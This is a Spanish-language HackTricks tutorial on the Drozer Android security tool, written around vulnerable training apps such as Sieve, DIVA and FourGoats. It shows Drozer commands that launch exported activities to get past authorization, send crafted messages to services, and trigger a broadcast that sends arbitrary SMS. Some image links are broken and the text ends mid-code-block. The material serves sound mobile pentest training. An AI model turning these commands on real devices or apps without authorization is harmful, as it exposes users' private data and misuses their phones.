# Tutorial de Drozer
{{#include ../../../banners/hacktricks-training.md}}
## APKs para probar
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (de mrwlabs)
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**Partes de este tutorial fueron extraídas de la** [**documentación pdf de Drozer**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**.**
## Instalación
Instala el Cliente Drozer dentro de tu host. Descárgalo de las [últimas versiones](https://github.com/mwrlabs/drozer/releases).
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
```
Descarga e instala el APK de drozer desde las [últimas versiones](https://github.com/mwrlabs/drozer/releases). En este momento es [este](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
```bash
adb install drozer.apk
```
### Iniciando el Servidor
Agent está corriendo en el puerto 31415, necesitamos [port forward](https://en.wikipedia.org/wiki/Port_forwarding) para establecer la comunicación entre el Drozer Client y Agent, aquí está el comando para hacerlo:
```bash
adb forward tcp:31415 tcp:31415
```
Finalmente, **lanza** la **aplicación** y presiona el botón "**ON**"
.png>)
Y conéctate a ella:
```bash
drozer console connect
```
## Comandos Interesantes
| **Comandos** | **Descripción** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Help MODULE** | Muestra la ayuda del módulo seleccionado |
| **list** | Muestra una lista de todos los módulos de drozer que se pueden ejecutar en la sesión actual. Esto oculta los módulos que no tienes permisos adecuados para ejecutar. |
| **shell** | Inicia un shell de Linux interactivo en el dispositivo, en el contexto del Agente. |
| **clean** | Elimina archivos temporales almacenados por drozer en el dispositivo Android. |
| **load** | Carga un archivo que contiene comandos de drozer y los ejecuta en secuencia. |
| **module** | Encuentra e instala módulos adicionales de drozer desde Internet. |
| **unset** | Elimina una variable nombrada que drozer pasa a cualquier shell de Linux que genera. |
| **set** | Almacena un valor en una variable que se pasará como una variable de entorno a cualquier shell de Linux generado por drozer. |
| **shell** | Inicia un shell de Linux interactivo en el dispositivo, en el contexto del Agente |
| **run MODULE** | Ejecuta un módulo de drozer |
| **exploit** | Drozer puede crear exploits para ejecutar en el dispositivo. `drozer exploit list` |
| **payload** | Los exploits necesitan un payload. `drozer payload list` |
### Paquete
Encuentra el **nombre** del paquete filtrando por parte del nombre:
```bash
dz> run app.package.list -f sieve
com.mwr.example.sieve
```
**Información básica** del paquete:
```bash
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
```
Leer **Manifest**:
```bash
run app.package.manifest jakhar.aseem.diva
```
**Superficie de ataque** del paquete:
```bash
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
```
- **Actividades**: Tal vez puedas iniciar una actividad y eludir algún tipo de autorización que debería impedirte lanzarla.
- **Proveedores de contenido**: Tal vez puedas acceder a datos privados o explotar alguna vulnerabilidad (SQL Injection o Path Traversal).
- **Servicios**:
- **es depurable**: [Aprende más](#is-debuggeable)
### Actividades
El valor “android:exported” de un componente de actividad exportado está configurado como **“true”** en el archivo AndroidManifest.xml:
```html
```
**Listar actividades exportadas**:
```bash
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
```
**Iniciar actividad**:
Quizás puedas iniciar una actividad y eludir algún tipo de autorización que debería impedirte lanzarla.
```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
También puedes iniciar una actividad exportada desde **adb**:
- PackageName es com.example.demo
- Exported ActivityName es com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
### Proveedores de Contenido
Esta publicación era demasiado grande para estar aquí, así que **puedes** [**acceder a ella en su propia página aquí**](exploiting-content-providers.md).
### Servicios
Un servicio exportado se declara dentro del Manifest.xml:
```html
```
Dentro del código **check** para la función **`handleMessage`** que **recibirá** el **mensaje**:
.png>)
#### Listar servicio
```bash
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
```
#### **Interactuar** con un servicio
```bash
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
```
#### Ejemplo
Mira la ayuda de **drozer** para `app.service.send`:
.png>)
Ten en cuenta que primero enviarás los datos dentro de "_msg.what_", luego "_msg.arg1_" y "_msg.arg2_", deberías verificar dentro del código **qué información se está utilizando** y dónde.\
Usando la opción `--extra` puedes enviar algo interpretado por "_msg.replyTo_", y usando `--bundle-as-obj` creas un objeto con los detalles proporcionados.
En el siguiente ejemplo:
- `what == 2354`
- `arg1 == 9234`
- `arg2 == 1`
- `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
```bash
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
```
.png>)
### Broadcast Receivers
**En la sección de información básica de Android, puedes ver qué es un Broadcast Receiver**.
Después de descubrir estos Broadcast Receivers, deberías **revisar el código** de ellos. Presta especial atención a la función **`onReceive`** ya que se encargará de manejar los mensajes recibidos.
#### **Detectar todos** los broadcast receivers
```bash
run app.broadcast.info #Detects all
```
#### Verificar los receptores de difusión de una aplicación
```bash
#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.
# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
```
#### Interacciones **Broadcast**
```bash
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
```
#### Enviar un mensaje
En este ejemplo, abusando del [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, puedes **enviar un SMS arbitrario** a cualquier destino no premium **sin pedir** permiso al usuario.
.png>)
.png>)
Si lees el código, los parámetros "_phoneNumber_" y "_message_" deben ser enviados al Content Provider.
```bash
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
```
### Es depurable
Un APK de producción nunca debe ser depurable.\
Esto significa que puedes **adjuntar un depurador de java** a la aplicación en ejecución, inspeccionarla en tiempo de ejecución, establecer puntos de interrupción, avanzar paso a paso, recopilar valores de variables e incluso cambiarlos. [InfoSec institute tiene un excelente artículo](../exploiting-a-debuggeable-applciation.md) sobre cómo profundizar cuando tu aplicación es depurable e inyectar código en tiempo de ejecución.
Cuando una aplicación es depurable, aparecerá en el Manifest:
```xml